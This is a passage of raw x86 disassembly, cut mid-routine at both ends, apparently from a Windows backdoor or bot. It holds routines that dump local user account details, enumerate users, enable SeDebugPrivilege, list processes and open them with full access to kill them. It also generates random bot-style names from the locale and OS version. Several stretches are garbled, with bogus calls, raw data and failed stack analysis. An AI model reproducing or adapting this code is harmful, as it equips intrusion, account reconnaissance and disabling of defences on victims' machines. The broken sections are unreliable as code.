lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4339AC pop edi leave retn sub_410251 endp ; =============== S U B R O U T I N E ======================================= sub_4102AB proc near ; CODE XREF: sub_410186+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_410001 push [esp+8+arg_4] mov esi, eax call sub_410001 pop ecx pop ecx push eax push esi call dword_43399C pop esi retn sub_4102AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4102CC proc near ; CODE XREF: sub_410186+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_410001 push [ebp+arg_4] mov esi, eax call sub_410001 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_433B20 test eax, eax mov [ebp+arg_0], eax jnz loc_410659 mov eax, [ebp+var_4] test eax, eax jz loc_410694 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_411EEE mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40F9F1 mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_411EEE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40F9F1 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_411EEE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40F9F1 mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_411EEE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40F9F1 mov eax, [ebp+var_4] add esp, 40h mov eax, [eax+10h] sub eax, 0 jz short loc_4103E5 dec eax jz short loc_4103DE dec eax jz short loc_4103D7 mov eax, offset aUnknown ; "Unknown" jmp short loc_4103EA ; --------------------------------------------------------------------------- loc_4103D7: ; CODE XREF: sub_4102CC+102j mov eax, offset aAdministrator ; "Administrator" jmp short loc_4103EA ; --------------------------------------------------------------------------- loc_4103DE: ; CODE XREF: sub_4102CC+FFj mov eax, offset aUser_1 ; "User" jmp short loc_4103EA ; --------------------------------------------------------------------------- loc_4103E5: ; CODE XREF: sub_4102CC+FCj mov eax, offset aGuest ; "Guest" loc_4103EA: ; CODE XREF: sub_4102CC+109j ; sub_4102CC+110j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_411EEE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40F9F1 mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_411EEE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40F9F1 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_411EEE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40F9F1 mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_411EEE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40F9F1 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_411EEE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40F9F1 mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_411EEE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40F9F1 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_411EEE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40F9F1 mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_411EEE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40F9F1 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_411EEE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40F9F1 mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_411EEE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40F9F1 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_411EEE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40F9F1 mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_411EEE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40F9F1 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_411EEE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40F9F1 mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_411EEE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40F9F1 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_411EEE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40F9F1 add esp, 20h pop edi pop ebx jmp short loc_410685 ; --------------------------------------------------------------------------- loc_410659: ; CODE XREF: sub_4102CC+35j push eax lea eax, [ebp+var_204] push offset dword_4305F8 push eax call sub_411EEE push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40F9F1 add esp, 20h loc_410685: ; CODE XREF: sub_4102CC+38Bj cmp [ebp+var_4], 0 jz short loc_410694 push [ebp+var_4] call dword_433B58 loc_410694: ; CODE XREF: sub_4102CC+40j ; sub_4102CC+3BDj mov eax, [ebp+arg_0] pop esi leave retn sub_4102CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41069A proc near ; CODE XREF: .nsp0:0040C00Ap var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_410001 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_40F9F1 add esp, 18h loc_4106D9: ; CODE XREF: sub_41069A+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_433A30 cmp eax, esi mov [ebp+var_C], eax jz short loc_41073A cmp eax, 0EAh jz short loc_41073A push eax push eax call sub_41081A pop ecx push eax lea eax, [ebp+var_218] push offset dword_430800 push eax call sub_411EEE push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40F9F1 add esp, 24h jmp short loc_4107B5 ; --------------------------------------------------------------------------- loc_41073A: ; CODE XREF: sub_41069A+62j ; sub_41069A+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_4107C8 xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_4107B5 loc_41074C: ; CODE XREF: sub_41069A+EDj cmp edi, esi jz short loc_41078B push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_5 ; " %S" push eax call sub_411EEE push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40F9F1 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_41074C jmp short loc_4107B5 ; --------------------------------------------------------------------------- loc_41078B: ; CODE XREF: sub_41069A+B4j lea eax, [ebp+var_218] push offset dword_4307B8 push eax call sub_411EEE push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40F9F1 add esp, 1Ch loc_4107B5: ; CODE XREF: sub_41069A+9Ej ; sub_41069A+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_4107C8 push edi call dword_433B58 xor edi, edi mov [ebp+var_4], edi loc_4107C8: ; CODE XREF: sub_41069A+A5j ; sub_41069A+120j cmp [ebp+var_C], 0EAh jz loc_4106D9 cmp edi, esi jz short loc_4107E0 push edi call dword_433B58 loc_4107E0: ; CODE XREF: sub_41069A+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_411EEE push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40F9F1 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_41069A endp ; =============== S U B R O U T I N E ======================================= sub_41081A proc near ; CODE XREF: sub_40FE70+41p ; sub_410065+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_4108CC jz loc_4108C5 cmp eax, 7Bh ja short loc_410891 jz short loc_410887 cmp eax, 5 jz short loc_41087D cmp eax, 8 jz short loc_410873 cmp eax, 32h jz short loc_410869 cmp eax, 35h jz short loc_41085F cmp eax, 57h jnz loc_41091B push offset aInvalidParamet ; "Invalid parameter." jmp loc_41093C ; --------------------------------------------------------------------------- loc_41085F: ; CODE XREF: sub_41081A+30j push offset aServerNameNotF ; "Server name not found." jmp loc_41093C ; --------------------------------------------------------------------------- loc_410869: ; CODE XREF: sub_41081A+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_41093C ; --------------------------------------------------------------------------- loc_410873: ; CODE XREF: sub_41081A+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_41093C ; --------------------------------------------------------------------------- loc_41087D: ; CODE XREF: sub_41081A+21j push offset aAccessDenied_ ; "Access denied." jmp loc_41093C ; --------------------------------------------------------------------------- loc_410887: ; CODE XREF: sub_41081A+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_41093C ; --------------------------------------------------------------------------- loc_410891: ; CODE XREF: sub_41081A+1Aj sub eax, 7Ch jz short loc_4108BE sub eax, 7C8h jz short loc_4108B7 dec eax jz short loc_4108AD dec eax jnz short loc_41091B push offset aDuplicateShare ; "Duplicate share name." jmp loc_41093C ; --------------------------------------------------------------------------- loc_4108AD: ; CODE XREF: sub_41081A+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_41093C ; --------------------------------------------------------------------------- loc_4108B7: ; CODE XREF: sub_41081A+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_41093C ; --------------------------------------------------------------------------- loc_4108BE: ; CODE XREF: sub_41081A+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_41093C ; --------------------------------------------------------------------------- loc_4108C5: ; CODE XREF: sub_41081A+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_41093C ; --------------------------------------------------------------------------- loc_4108CC: ; CODE XREF: sub_41081A+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_410905 jz short loc_4108FE sub eax, 8ADh jz short loc_410930 dec eax dec eax jz short loc_4108F7 dec eax jz short loc_4108F0 dec eax dec eax jnz short loc_41091B push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_41093C ; --------------------------------------------------------------------------- loc_4108F0: ; CODE XREF: sub_41081A+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_41093C ; --------------------------------------------------------------------------- loc_4108F7: ; CODE XREF: sub_41081A+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_41093C ; --------------------------------------------------------------------------- loc_4108FE: ; CODE XREF: sub_41081A+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_41093C ; --------------------------------------------------------------------------- loc_410905: ; CODE XREF: sub_41081A+B9j sub eax, 8CAh jz short loc_410937 sub eax, 17h jz short loc_410930 sub eax, 25h jz short loc_410929 sub eax, 29h jz short loc_410922 loc_41091B: ; CODE XREF: sub_41081A+35j ; sub_41081A+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_41093C ; --------------------------------------------------------------------------- loc_410922: ; CODE XREF: sub_41081A+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_41093C ; --------------------------------------------------------------------------- loc_410929: ; CODE XREF: sub_41081A+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_41093C ; --------------------------------------------------------------------------- loc_410930: ; CODE XREF: sub_41081A+C2j ; sub_41081A+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_41093C ; --------------------------------------------------------------------------- loc_410937: ; CODE XREF: sub_41081A+F0j push offset aNetworkConnect ; "Network connection not found." loc_41093C: ; CODE XREF: sub_41081A+40j ; sub_41081A+4Aj ... push offset dword_462330 call sub_411EEE pop ecx mov eax, offset dword_462330 pop ecx retn sub_41081A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41094E proc near ; CODE XREF: .nsp0:0040C049p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_4142C9 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi call near ptr 0AB0000h dec esi lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_4142C9 lea eax, [ebp+var_718] push eax call sub_4142AC add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_433AD8 test eax, eax jnz short loc_4109DE mov esi, offset dword_46212C push offset dword_430B58 push esi call sub_411EEE pop ecx pop ecx jmp short loc_410A07 ; --------------------------------------------------------------------------- loc_4109DE: ; CODE XREF: sub_41094E+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_41081A pop ecx mov esi, offset dword_46212C push eax push offset dword_430B1C push esi call sub_411EEE add esp, 14h loc_410A07: ; CODE XREF: sub_41094E+8Ej mov eax, esi pop esi leave retn sub_41094E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410A0C proc near ; CODE XREF: sub_407CC7+7p ; sub_410A77+5Fp ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call near ptr 0AB0000h dec edx push eax call dword_433AAC ; OpenProcessToken test eax, eax jnz short loc_410A2B leave retn ; --------------------------------------------------------------------------- loc_410A2B: ; CODE XREF: sub_410A0C+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_433A84 ; LookupPrivilegeValueA test eax, eax jz short loc_410A69 cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_410A52 or [ebp+var_8], 2 jmp short loc_410A56 ; --------------------------------------------------------------------------- loc_410A52: ; CODE XREF: sub_410A0C+3Ej and [ebp+var_8], 0FFFFFFFDh loc_410A56: ; CODE XREF: sub_410A0C+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_433B34 ; AdjustTokenPrivileges mov esi, eax loc_410A69: ; CODE XREF: sub_410A0C+32j push [ebp+var_4] call dword_41D074 ; CloseHandle mov eax, esi pop esi leave retn sub_410A0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410A77 proc near ; CODE XREF: .nsp0:0040E54Ap ; sub_410C28+74p var_550 = byte ptr -550h var_350 = dword ptr -350h var_34C = byte ptr -34Ch var_230 = byte ptr -230h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = dword ptr -124h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_433AE8, ebx lea edi, [ebp+var_128] mov [ebp+var_12C], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_34C] mov [ebp+var_350], ebx rep stosd jz loc_410C21 cmp dword_433ACC, ebx jz loc_410C21 cmp dword_4339E8, ebx jz loc_410C21 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_410A0C pop ecx pop ecx push ebx push 0Fh call dword_433AE8 ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_410C14 lea eax, [ebp+var_12C] mov [ebp+var_12C], 128h push eax push [ebp+var_4] call dword_433ACC ; Process32First mov esi, dword_41D074 test eax, eax jz loc_410C0F loc_410B1A: ; CODE XREF: sub_410A77+BEj ; sub_410A77+CCj ... lea eax, [ebp+var_12C] push eax push [ebp+var_4] call dword_4339E8 ; Process32Next test eax, eax jz loc_410C0F cmp [ebp+arg_10], ebx jnz short loc_410B1A cmp [ebp+arg_C], ebx jnz loc_410BC7 cmp [ebp+arg_4], ebx jz short loc_410B1A push [ebp+var_124] push 8 call dword_433AE8 ; CreateToolhelp32Snapshot cmp [ebp+arg_14], ebx mov edi, eax mov [ebp+var_350], 224h jz short loc_410B84 lea eax, [ebp+var_350] push eax push edi call dword_433994 ; Module32First push [ebp+var_124] test eax, eax jz short loc_410B8A lea eax, [ebp+var_230] jmp short loc_410B90 ; --------------------------------------------------------------------------- loc_410B84: ; CODE XREF: sub_410A77+EBj push [ebp+var_124] loc_410B8A: ; CODE XREF: sub_410A77+103j lea eax, [ebp+var_108] loc_410B90: ; CODE XREF: sub_410A77+10Bj push eax lea eax, [ebp+var_550] push offset aSD_0 ; " %s (%d)" push eax call sub_411EEE add esp, 10h lea eax, [ebp+var_550] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40F9F1 add esp, 14h push edi call esi ; dword_41D074 jmp loc_410B1A ; --------------------------------------------------------------------------- loc_410BC7: ; CODE XREF: sub_410A77+C3j push [ebp+arg_C] lea eax, [ebp+var_108] push eax call sub_412310 pop ecx test eax, eax pop ecx jnz loc_410B1A push [ebp+var_124] push ebx push 1F0FFFh call near ptr 0AB0000h jmp near ptr 8C3D81F5h ; --------------------------------------------------------------------------- dw 0FFF8h dd 0E85753D6h, 69F400h, 75C085FFh, 0D6FF5705h, 16A17EBh ; --------------------------------------------------------------------------- pop eax jmp short loc_410C23 ; --------------------------------------------------------------------------- loc_410C0F: ; CODE XREF: sub_410A77+9Dj ; sub_410A77+B5j push [ebp+var_4] call esi ; dword_41D074 loc_410C14: ; CODE XREF: sub_410A77+75j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_410A0C pop ecx pop ecx loc_410C21: ; CODE XREF: sub_410A77+3Aj ; sub_410A77+46j ... xor eax, eax loc_410C23: ; CODE XREF: sub_410A77+196j pop edi pop esi pop ebx leave retn sub_410A77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410C28 proc near ; DATA XREF: .nsp0:0040F121o var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset dword_430C28 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_411EEE xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_410C87 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40F9F1 add esp, 14h loc_410C87: ; CODE XREF: sub_410C28+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_410A77 add esp, 18h test eax, eax jnz short loc_410CAF loc_410CA8: ; CODE XREF: sub_410D06+15j push offset dword_430BEC jmp short loc_410CB4 ; --------------------------------------------------------------------------- loc_410CAF: ; CODE XREF: sub_410C28+7Ej push offset dword_430BB4 loc_410CB4: ; CODE XREF: sub_410C28+85j lea eax, [ebp+var_298] push eax call sub_411EEE cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_410CE7 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40F9F1 add esp, 14h loc_410CE7: ; CODE XREF: sub_410C28+9Dj lea eax, [ebp+var_298] push eax call sub_408E17 push [ebp+var_14] call sub_411CB6 pop ecx pop ecx push esi call near ptr 0AB0000h stc pop edi pop esi sub_410C28 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_410D06 proc near ; CODE XREF: .nsp0:0040E4ECp ; sub_411AD5+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call near ptr 0AB0000h loopne loc_410CA8 lock test esi, esi jz short loc_410D38 push 0 push esi call near ptr 0AB0000h nop test eax, eax jnz short loc_410D38 push esi xor edi, edi call dword_41D074 ; CloseHandle loc_410D38: ; CODE XREF: sub_410D06+1Aj ; sub_410D06+27j mov eax, edi pop edi pop esi retn sub_410D06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410D3D proc near ; CODE XREF: sub_403A5B+63p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call sub_411F4A mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_41D660 call sub_412964 sub esi, eax mov eax, esi pop esi leave retn sub_410D3D endp ; =============== S U B R O U T I N E ======================================= sub_410D6D proc near ; CODE XREF: sub_4110D8+49p ; DATA XREF: .nsp0:off_430C70o var_C = dword ptr -0Ch arg_0 = dword ptr 4 push esi push edi call dword_41D048 ; GetTickCount push eax call sub_411F40 mov edi, [esp+0Ch+arg_0] mov [esp+0Ch+var_C], offset dword_425BE8 push offset aS_1 ; "%s" push 1Ch push edi call sub_41246A xor esi, esi add esp, 10h cmp dword_425B70, esi jle short loc_410DC6 loc_410DA0: ; CODE XREF: sub_410D6D+57j call sub_411F4A push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_430CC4 push 1Ch push edi call sub_41246A add esp, 14h inc esi cmp esi, dword_425B70 jl short loc_410DA0 loc_410DC6: ; CODE XREF: sub_410D6D+31j mov eax, edi pop edi pop esi retn sub_410D6D endp ; =============== S U B R O U T I N E ======================================= sub_410DCB proc near ; CODE XREF: .nsp0:0040DC72p arg_0 = dword ptr 4 push ebx push esi push edi call dword_41D048 ; GetTickCount push eax call sub_411F40 pop ecx call sub_411F4A push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_425B70 test esi, esi jle short loc_410E0E loc_410DF8: ; CODE XREF: sub_410DCB+41j call sub_411F4A push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_410DF8 loc_410E0E: ; CODE XREF: sub_410DCB+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_410DCB endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h call dword_41D048 ; GetTickCount push eax call sub_411F40 pop ecx lea eax, [ebp-8] mov esi, offset byte_430CCC push eax push esi call near ptr 0AB0000h pop ecx movsx eax, byte_430CCC push 41h pop ecx push 1 pop edx loc_410E54: ; CODE XREF: .nsp0:00410E5Fj cmp eax, ecx jnz short loc_410E5B mov [ebp-4], edx loc_410E5B: ; CODE XREF: .nsp0:00410E56j inc ecx cmp ecx, 5Bh jl short loc_410E54 push 61h pop ecx loc_410E64: ; CODE XREF: .nsp0:00410E6Fj cmp eax, ecx jnz short loc_410E6B mov [ebp-4], edx loc_410E6B: ; CODE XREF: .nsp0:00410E66j inc ecx cmp ecx, 7Bh jl short loc_410E64 mov edi, [ebp+8] push esi push 1Ch push edi call sub_41246A xor esi, esi add esp, 0Ch cmp dword_425B70, esi jle short loc_410EB0 loc_410E8A: ; CODE XREF: .nsp0:00410EAEj call sub_411F4A push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_430CC4 push 1Ch push edi call sub_41246A add esp, 14h inc esi cmp esi, dword_425B70 jl short loc_410E8A loc_410EB0: ; CODE XREF: .nsp0:00410E88j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call dword_41D048 ; GetTickCount push eax call sub_411F40 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call dword_41D13C ; GetLocaleInfoA mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_430CD0 push 1Ch push edi call sub_41246A xor esi, esi add esp, 10h cmp dword_425B70, esi jle short loc_410F25 loc_410EFF: ; CODE XREF: .nsp0:00410F23j call sub_411F4A push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_430CC4 push 1Ch push edi call sub_41246A add esp, 14h inc esi cmp esi, dword_425B70 jl short loc_410EFF loc_410F25: ; CODE XREF: .nsp0:00410EFDj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_432708 mov dword ptr [ebp-94h], 94h call dword_41D100 ; GetVersionExA call dword_41D048 ; GetTickCount push eax call sub_411F40 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_410FAF cmp dword ptr [ebp-8Ch], 0 jnz short loc_410F8F cmp dword ptr [ebp-84h], 1 jnz short loc_410F7F mov esi, offset a95 ; "95" loc_410F7F: ; CODE XREF: .nsp0:00410F78j cmp dword ptr [ebp-84h], 2 jnz short loc_410FEB mov esi, offset aNt ; "NT" jmp short loc_410FEB ; --------------------------------------------------------------------------- loc_410F8F: ; CODE XREF: .nsp0:00410F6Fj cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_410F9F mov esi, offset a98 ; "98" jmp short loc_410FEB ; --------------------------------------------------------------------------- loc_410F9F: ; CODE XREF: .nsp0:00410F96j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_410FE6 mov esi, offset aMe ; "ME" jmp short loc_410FEB ; --------------------------------------------------------------------------- loc_410FAF: ; CODE XREF: .nsp0:00410F66j cmp dword ptr [ebp-90h], 5 jnz short loc_410FE6 cmp dword ptr [ebp-8Ch], 0 jnz short loc_410FC8 mov esi, offset a2k ; "2K" jmp short loc_410FEB ; --------------------------------------------------------------------------- loc_410FC8: ; CODE XREF: .nsp0:00410FBFj cmp dword ptr [ebp-8Ch], 1 jnz short loc_410FD8 mov esi, offset aXp ; "XP" jmp short loc_410FEB ; --------------------------------------------------------------------------- loc_410FD8: ; CODE XREF: .nsp0:00410FCFj cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_430CDC jz short loc_410FEB loc_410FE6: ; CODE XREF: .nsp0:00410FA6j ; .nsp0:00410FB6j mov esi, offset dword_425644 loc_410FEB: ; CODE XREF: .nsp0:00410F86j ; .nsp0:00410F8Dj ... mov edi, [ebp+8] push esi push offset dword_430CD4 push 1Ch push edi call sub_41246A xor esi, esi add esp, 10h cmp dword_425B70, esi jle short loc_41102F loc_411009: ; CODE XREF: .nsp0:0041102Dj call sub_411F4A push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_430CC4 push 1Ch push edi call sub_41246A add esp, 14h inc esi cmp esi, dword_425B70 jl short loc_411009 loc_41102F: ; CODE XREF: .nsp0:00411007j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411035 proc 